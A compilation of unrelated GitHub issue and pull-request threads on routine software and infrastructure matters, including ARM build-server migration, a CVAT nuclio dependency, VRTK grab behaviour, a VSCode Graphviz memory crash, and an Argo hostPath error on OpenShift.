I created a class for extension methods which will handle the custom extension methods like PostAsJsonAsync. Now we can use HttpClient directly and make requests.
I wasn't able to run the tests locally due to docker issues with hyper v. Let me know if any tests fail or if any other change is required.
This is my first open source PR for .NET so let me know your feedback 😄

bors try


Set up new Equinix/WorksOnARM servers

I need to request a new machine:

New machine operating system One CentOS, one Ubuntu
New machine architecture: aarch64
Provider (leave blank if it does not matter): Equinix
Desired usage: test and dockerBuild
Any unusual specification/setup required: Machines are already resetved so just need to be installed and set up
How many of them are required: 3 (Although I'll start with 2 :-) ) 160 core (2 socket) 3GHz Ampere Altra

Please explain what this machine is needed for: Replacement of previous ThunderX and D05 servers.
NOTE: There is a current issue with Ubuntu 20.04 systems that may cause reboot failures. To avoid the problem, run the following sequence of commands (taken from here) after deploying the OS
$ apt-get update
$ apt-get install grub2-common
$ grub-install --bootloader-id=ubuntu
Installing for arm64-efi platform.
Installation finished. No error reported.

New servers can also run the dragonwell builds which use -march=armv8.2-a+crypto so this is a good reason to move to these ASAP

Current status: Testing with a CentOS8 system and an Ubuntu 20.04 configured with several build&&dockerBuild executors for build and one Ubuntu 20.04 for test while I verify it (a) works and (b) has adequate performance I come to a conclusion about how to finally split it up :-)

Very interested in how this goes - let me know anything I can do to help, either directly or by introductions to folks at Ampere.

Deleting the following static docker jenkins agents hosted on ThunderX system 74.50

test-docker-centos8-armv8-1
test-docker-fedora33-armv8-1
test-docker-ubuntu1604-armv8-1
test-docker-ubuntu1804-armv8-1
test-docker-ubuntu2004-armv8-1
test-packet-ubuntu1604-armv8-1
Also on the ThunderX .30:
build-packet-centos74-armv8-1x/config.xml
And from <IP_ADDRESS>:
build-docker-fedora33-armv8-2
build-docker-fedora33-armv8-3
build-docker-fedora33-armv8-4
build-docker-fedora33-armv8-5
build-docker-ubuntu1804-armv8-2
build-docker-ubuntu1804-armv8-3
build-docker-ubuntu1804-armv8-4
build-docker-ubuntu1804-armv8-5
build-docker-ubuntu1804-armv8-6
build-packet-ubuntu1804-armv8l-1

Looks like we haven't suffered any significant problems after deactivating some of the older servers so we should be ok to hand them back now (Although I might hold onto one of the D05 systems until we fully get the third Altra up and running)

Just as a final note, here are the build times for JDK17/HotSpot with and without ccache - all in docker except (ND). Figures are real/user time.

System
No ccache
Ccache

Altra
7m41/75m28
4m29/20m38

D05
10m54/131m43
5m51/28m18

ThunderX (ND)
19m52/246m30
10m40/50m24

ThunderX
24m49/351m15
12m44/52m8

Have rebooted my primary Ubuntu Ampere system today because all execution of docker commands were hanging. The docker machines appear to have been unaffected but I'm hoping this will be a one-off.

Reboot has started everything ok and the docker commands are working. Purely for reference, the current list of static docker agents on the machine is as follows:

root@test-equinix-ubuntu2004-armv8l-02:~# docker ps
CONTAINER ID   IMAGE            COMMAND               CREATED        STATUS                        PORTS                                   NAMES
df7cd16ce177   u2004.32.build   "/bin/bash"           7 weeks ago    Restarting (0) 1 second ago                                           U2004_2321.build32
1bfd2a038c8d   aqa_u2004.32     "/usr/sbin/sshd -D"   7 weeks ago    Up 22 minutes                 <IP_ADDRESS>:2324->22/tcp, :::2324->22/tcp   U2004_2324.32
db94894974b0   aqa_u2004.32     "/usr/sbin/sshd -D"   7 weeks ago    Up 22 minutes                 <IP_ADDRESS>:2323->22/tcp, :::2323->22/tcp   U2004_2323.32
412c7c344fe5   aqa_u2004.32     "/usr/sbin/sshd -D"   7 weeks ago    Up 22 minutes                 <IP_ADDRESS>:2322->22/tcp, :::2322->22/tcp   U2004_2322.32
fd3994e02f15   aqa_arm32        "/usr/sbin/sshd -D"   7 weeks ago    Up 23 minutes                 <IP_ADDRESS>:3224->22/tcp, :::3224->22/tcp   u2004.arm32.3224
d479dc5604bf   aqa_f33          "/usr/sbin/sshd -D"   2 months ago   Up 23 minutes                 <IP_ADDRESS>:2227->22/tcp, :::2227->22/tcp   f33_2227
e3ec9e799892   aqa_u2004        "/usr/sbin/sshd -D"   2 months ago   Up 23 minutes                 <IP_ADDRESS>:2232->22/tcp, :::2232->22/tcp   U2004_2232
3c5a5f4507cc   aqa_u2010        "/usr/sbin/sshd -D"   2 months ago   Up 22 minutes                 <IP_ADDRESS>:2231->22/tcp, :::2231->22/tcp   U2010_2231
a96fd12a60b1   aqa_u1804        "/usr/sbin/sshd -D"   2 months ago   Up 22 minutes                 <IP_ADDRESS>:2230->22/tcp, :::2230->22/tcp   U1804_2230
4327bf0f2675   aqa_u2004        "/usr/sbin/sshd -D"   2 months ago   Up 23 minutes                 <IP_ADDRESS>:2226->22/tcp, :::2226->22/tcp   U2004_2226
ec8eb9ece268   aqa_u1604        "/usr/sbin/sshd -D"   2 months ago   Up 22 minutes                 <IP_ADDRESS>:2222->22/tcp, :::2222->22/tcp   U1604_2222

All old machines other than D05 <IP_ADDRESS> have been decomissioned and returned to Equinix as per. Holding onto that for a few more days as one of the jenkins agents on there was still live.
There are also instances of the new Ubuntu 16.04/armv7l docker container being run which will allow us to use this hardware for running the 32-bit ARM builds.

Decomissioned an extra two that weren't properly on our records:

eMag <IP_ADDRESS>
ThunderX <IP_ADDRESS>

Writing this for historic reference:

System
Cores
Core type

D05
64
Cortext-A72

ThunderX
96
ThunderX

eMag
32
Custom?

Altra
160
Neoverse-N1

Next on the list is to get the CentOS system fully running with more capacity.

CentOS system will be replaced as part of #equinix now that CentOS8 is no longer supported. closing.


When developing without Docker it always need to run nuclio container

My actions before raising this issue

[x] Read/searched the docs
[x] Searched past issues

Expected Behaviour
If nuclio dashboard is off, basic functionality of CVAT is expected to work.
Current Behaviour
When loading UI, server raises error:
Error: Request failed with status code 503. "HTTPConnectionPool(host='localhost', port=8070): Max retries exceeded with url: /api/functions (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7f0a296f9b00>: Failed to establish a new connection: [Errno 111] Connection refused',))".
Possible Solution
If nuclio server is unavaliable, server can return empty list of functions
Your Environment

Git hash commit (git log -1):  0062ecdec
Docker version docker version (e.g. Docker 17.0.05): no
Are you using Docker Swarm or Kubernetes? no
Operating System and version (e.g. Linux, Windows, MacOS): Ubuntu 18.04

We decided to close the bug for a while. The behavior is expected.


Update Using red wire for power.md

Alternate option to power the ESP from the backup battery connector

My god, why didn't I think of this.  I literally have that on my GDO.

My god, why didn't I think of this. I literally have that on my GDO.

Mine has been working great for years this way.  I don't have a backup battery, but so long as your utility stays on, you'll have DC here.
Feel free to add this pic from the manual:

Ah, mine is totally different to that.  It's an internally mounted battery.  I assume it uses the same connector type somewhere within the case but perhaps not.

@poldim maybe the better question is whether we can tap that circuit if there is no battery in use.  Charging circuits can get a little weird.

@poldim maybe the better question is whether we can tap that circuit if there is no battery in use. Charging circuits can get a little weird.

See my comment above:

Mine has been working great for years this way. I don't have a backup battery, but so long as your utility stays on, you'll have DC here.

@poldim maybe the better question is whether we can tap that circuit if there is no battery in use. Charging circuits can get a little weird.

See my comment above:

Mine has been working great for years this way. I don't have a backup battery, but so long as your utility stays on, you'll have DC here.

Oh right, well that's really good news.

That's a great option! One of my Chamberlain GDOs has battery backup, one does not. :( I'll see about adding the power regulation stuff back in in a new kicad variation.


Submit attestation complete transactions sequentially

Description
Submits verification complete transactions in sequence by doing 2 things:

Awaiting for the processingCode flag to be false before submitting and adding in random wait times to avoid race conditions
Adding a retry mechanism for reverted transctions

Other changes
No
Tested
Yes
Related issues

Fixes #5832

Backwards compatibility
Yes

Hi @tarikbellamine Verified task on latest test flight build v1.5.5 (34) and Android play store internal build v1.5.5<PHONE_NUMBER>) by using following scenarios

[ ] Verify user is able to sent the attestations by tapping on start button in Phone number page

[ ] Verify user redirect to captcha after tapping on start button

[ ] verify user should able to complete the captcha

[ ] Verify user is able to receive verification codes after completing captcha

[ ] Verify user should receive attestation in sequential order

[ ] Verify user should able to paste the received code

Can you please provide more information about this task.


Axix limits from Template Variable

Hi
I'm trying to make a 4 quadrant report ( Similar to this : https://i1.wp.com/www.criticaltosuccess.com/wp-content/uploads/2015/02/IMG_Four_Quadrant_Matrix_Static.png ).
Since there is not a way to have the axis displayed on a non zero value I am trying to align 4 panels, but I need to be able to use the axis range ( Display - X Axis - Range = Between ) assigning the Min and Max Values from a Template Variable of grafana.
Is the panel config able to accept Variables ?
Thanks

currently no variables in the config.  This seems like a good idea, any help would be great too 😄

some support with #13, open a new issue if it needs improvement


refactor: directly calls widget factory with initial props in svelte

@fbasso Thank you for your review!


Using steam VR menu button drop grabbed object

Environment
Source of VRTK: Github
Version of VRTK: Last version
Version of Unity3D: 5.6.0f3
Hardware used: HTC Vive
SDK used: SteamVR
Steps to reproduce

Open any scene with a grabbable object that do not need to maintain the grab button
Grab an object
Go to the steamvr menu using the steamvr button

Expected behavior
The object is not dropped
Current behavior
The object is dropped
Thanks for your help :)

This is expected. The issue is when you press the SteamVR button, SteamVR sets the game object that the controllers are on to disabled, this calls the OnDisable action on the script and in OnDisable it forces the drop of the object.
The reason for this is, if your battery dies on your controller then your controller would go off but you dont want the grab to stay active.
You can work around this issue in SteamVR, by adding the [SteamVR] prefab from SteamVR and unticking the pause on system menu option.


Simple way to break up stream by amount of seconds?

I am trying to break up stream every 3 seconds and while the logic is simple to do in the OnPublish with a ticker it results in no video but audio is fine?
So first flv is encoded fine with video and audio but video files that come after only have valid audio, no video. ffmpeg probe shows "missing picture in access unit with size 969" while first flv file shows good data
Issue seems to be missing headers. Wondering how to add new headers with each 3 second clip
[STREAM]
index=0
codec_name=aac
codec_long_name=AAC (Advanced Audio Coding)
profile=LC
codec_type=audio
codec_time_base=1/44100
codec_tag_string=[0][0][0][0]
codec_tag=0x0000
sample_fmt=fltp
sample_rate=44100
channels=2
channel_layout=stereo
bits_per_sample=0
id=N/A
r_frame_rate=0/0
avg_frame_rate=0/0
time_base=1/1000
start_pts=0
....

Relay service works great!


Release 4.4.12

How can I install this module on a windows server that has no internet access?

What you typed is clearly a question, and a general question applicable to all Python packages (not only PySNMP). That is not usually suitable to be posted on a GitHub repo like this, but should go to a Python centric forum.
BTW, read #429 to learn why posting in this repo isn't a good idea any more as its owner is no longer with us.


Crash while previewing moderately large file

Previewing the attached file (~1535 lines) causes the VSCode tab to crash
script37.txt and contain the following message:

abort("Cannot enlarge memory arrays. Either (1) compile with -s TOTAL_MEMORY=X with X higher than the current value 16777216, (2) compile with -s ALLOW_MEMORY_GROWTH=1 which allows increasing the size at runtime but prevents some optimizations, (3) set Module.TOTAL_MEMORY to a higher value before the program runs, or (4) if you want malloc to return NULL (0) instead of this abort, compile with -s ABORTING_MALLOC=0 "). Build with -s ASSERTIONS=1 for more info.

I have the same problem.
How did you solve it?

Same here.

I didn't.  The extension needs to use temporary files & optimize image size instead of putting everything in memory.

I'm also encountering the same issue and message with this extension (and other online dot rendererers).
It seems this extension is using the @hpcc-js/wasm library published to npm. That library is in active development and is now on 1.11.0, and this extension seems to be using 1.0.0.
I don't know if updating to the latest version would fix it or not, it seems like ALLOW_MEMORY_GROWTH=1 is set in the most recent version.


Can't run example "hello-world" on OpenShift due to hostPath error

Is this a BUG REPORT or FEATURE REQUEST?:  BUG REPORT
What happened:
Following the "Getting started section I performed the following steps:
brew install argoproj/tap/argo
oc new-project argo
oc apply -n argo -f https://raw.githubusercontent.com/argoproj/argo/v2.2.1/manifests/install.yaml
oc create rolebinding default-admin --clusterrole=admin --serviceaccount=default:default

argo submit --watch https://raw.githubusercontent.com/argoproj/argo/master/examples/hello-world.yaml

Argo showed an error message:
pods "hello-world-jdbzm" is forbidden: unable to validate against any security context constraint: [spec.volumes[1]: Invalid value: "hostPath": hostPath volumes are not allowed to be used spec.volumes[2]: Invalid value: "hostPath": hostPath volumes are not allowed to be used]

After looking at the workflow template I wonder that there's neither a volume nor a hostPath defined. Other examples (coinflip) aborted with the same error.
What you expected to happen:
An output that the hello-world workflow has been processed successfully.
How to reproduce it (as minimally and precisely as possible):

Install OpenShift 3.11
Follow the steps mentioned above

Anything else we need to know?:
Environment:

Argo version:

$ argo version
argo: v2.2.1
  BuildDate: 2018-10-11T16:25:59Z
  GitCommit: 3b52b26190163d1f72f3aef1a39f9f291378dafb
  GitTreeState: clean
  GitTag: v2.2.1
  GoVersion: go1.10.3
  Compiler: gc
  Platform: darwin/amd64

Kubernetes version :

$ kubectl version -o yaml
clientVersion:
  buildDate: 2018-06-27T20:17:28Z
  compiler: gc
  gitCommit: 91e7b4fd31fcd3d5f436da26c980becec37ceefe
  gitTreeState: clean
  gitVersion: v1.11.0
  goVersion: go1.10.2
  major: "1"
  minor: "11"
  platform: darwin/amd64
serverVersion:
  buildDate: 2019-02-08T23:07:29Z
  compiler: gc
  gitCommit: d4cacc0
  gitTreeState: clean
  gitVersion: v1.11.0+d4cacc0
  goVersion: go1.10.3
  major: "1"
  minor: 11+
  platform: linux/amd64

Other debugging information (if applicable):

workflow result:

$ argo get <workflowname>

executor logs:

$ kubectl logs <failedpodname> -c init
$ kubectl logs <failedpodname> -c wait

workflow-controller logs:

$ kubectl logs -n kube-system $(kubectl get pods -l app=workflow-controller -n kube-system -o name)
time="2019-03-20T09:47:44Z" level=info msg="Processing workflow" namespace=argo workflow=hello-world-thv6l
time="2019-03-20T09:47:44Z" level=info msg="Updated phase  -> Running" namespace=argo workflow=hello-world-thv6l
time="2019-03-20T09:47:44Z" level=info msg="Failed to create pod hello-world-thv6l (hello-world-thv6l): pods \"hello-world-thv6l\" is forbidden: unable to validate against any security context constraint: [spec.volumes[1]: Invalid value: \"hostPath\": hostPath volumes are not allowed to be used spec.volumes[2]: Invalid value: \"hostPath\": hostPath volumes are not allowed to be used]" namespace=argo workflow=hello-world-thv6l
time="2019-03-20T09:47:44Z" level=info msg="Pod node hello-world-thv6l (hello-world-thv6l) initialized Error (message: pods \"hello-world-thv6l\" is forbidden: unable to validate against any security context constraint: [spec.volumes[1]: Invalid value: \"hostPath\": hostPath volumes are not allowed to be used spec.volumes[2]: Invalid value: \"hostPath\": hostPath volumes are not allowed to be used])" namespace=argo workflow=hello-world-thv6l
time="2019-03-20T09:47:44Z" level=info msg="Updated phase Running -> Error" namespace=argo workflow=hello-world-thv6l
time="2019-03-20T09:47:44Z" level=info msg="Updated message  -> pods \"hello-world-thv6l\" is forbidden: unable to validate against any security context constraint: [spec.volumes[1]: Invalid value: \"hostPath\": hostPath volumes are not allowed to be used spec.volumes[2]: Invalid value: \"hostPath\": hostPath volumes are not allowed to be used]" namespace=argo workflow=hello-world-thv6l
time="2019-03-20T09:47:44Z" level=info msg="Marking workflow completed" namespace=argo workflow=hello-world-thv6l
time="2019-03-20T09:47:44Z" level=info msg="Workflow update successful" namespace=argo workflow=hello-world-thv6l
t

Its because the workflow pod trying to mount /var/run/docker.sock for better performance on cmd like docker cp and your service account doesn't have permissions to mount host paths. Either grant your service account hostmount-anyuid and that should resolve the issue. Or simply edit the workflow-controller configmap and add containerRuntimeExecutor: kubelet or containerRuntimeExecutor: k8sapi

Hi @VaibhavPage ,
thanks for your help, adding the containerRuntimeExecutor: kubelet worked for me.
Cheers!

@VaibhavPage , @devops-42 , i have added the "ontainerRuntimeExecutor: kubelet" but still the issue is not getting resolved.
please find my configmap:
[root@node1 examples]# kubectl  describe configmap workflow-controller-configmap -n argo
Name:         workflow-controller-configmap
Namespace:    argo
Labels:
Annotations:  kubectl.kubernetes.io/last-applied-configuration:
{"apiVersion":"v1","kind":"ConfigMap","metadata":{"annotations":{},"name":"workflow-controller-configmap","namespace":"argo"}}
Data
ContainerRuntimeExecutor:
kubelet
Events:
[root@node1 examples]#

@VaibhavPage , @devops-42 , i have added the "ontainerRuntimeExecutor: kubelet" but still the issue is not getting resolved.
please find my configmap:

apiVersion: v1
data:
ContainerRuntimeExecutor: kubelet
kind: ConfigMap
metadata:
annotations:
kubectl.kubernetes.io/last-applied-configuration: |
{"apiVersion":"v1","kind":"ConfigMap","metadata":{"annotations":{},"name":"workflow-controller-configmap","namespace":"argo"}}
creationTimestamp: "2019-05-13T06:22:38Z"
name: workflow-controller-configmap
namespace: argo
resourceVersion: "1701032"
selfLink: /api/v1/namespaces/argo/configmaps/workflow-controller-configmap
uid: 81a2bc94-7547-11e9-b5f3-00505699ae46

The ConfigMap approach didn't work for me either on OCP 3.11

Hi, sorry for bringing this up again, but changing the runtime executor to "kubelet" in the namespace install manifest does not work for me?
Latest argo, k8s 1.15.9.

@pisymbol use k8sapi instead of kubelet

@CermakM  Tried both. Still no worky. I got it to work by giving my namespace a no restriction psp with respect to volumes but I thought the k8sapi would cause the controller not to use hostPath, right?

@pisymbol yes, k8sapi executor will not use hostPath

@CermakM Is there something I have to do special then outside of changing the namespace-install yaml's ConfigMap as per above and reinstall? That's what I did and I still get the hostPath error? That's why I am confused (this was a complete fresh install too - think k delete -f namespace-install.yaml && k install -f namespace-install.yaml -n argo etc.),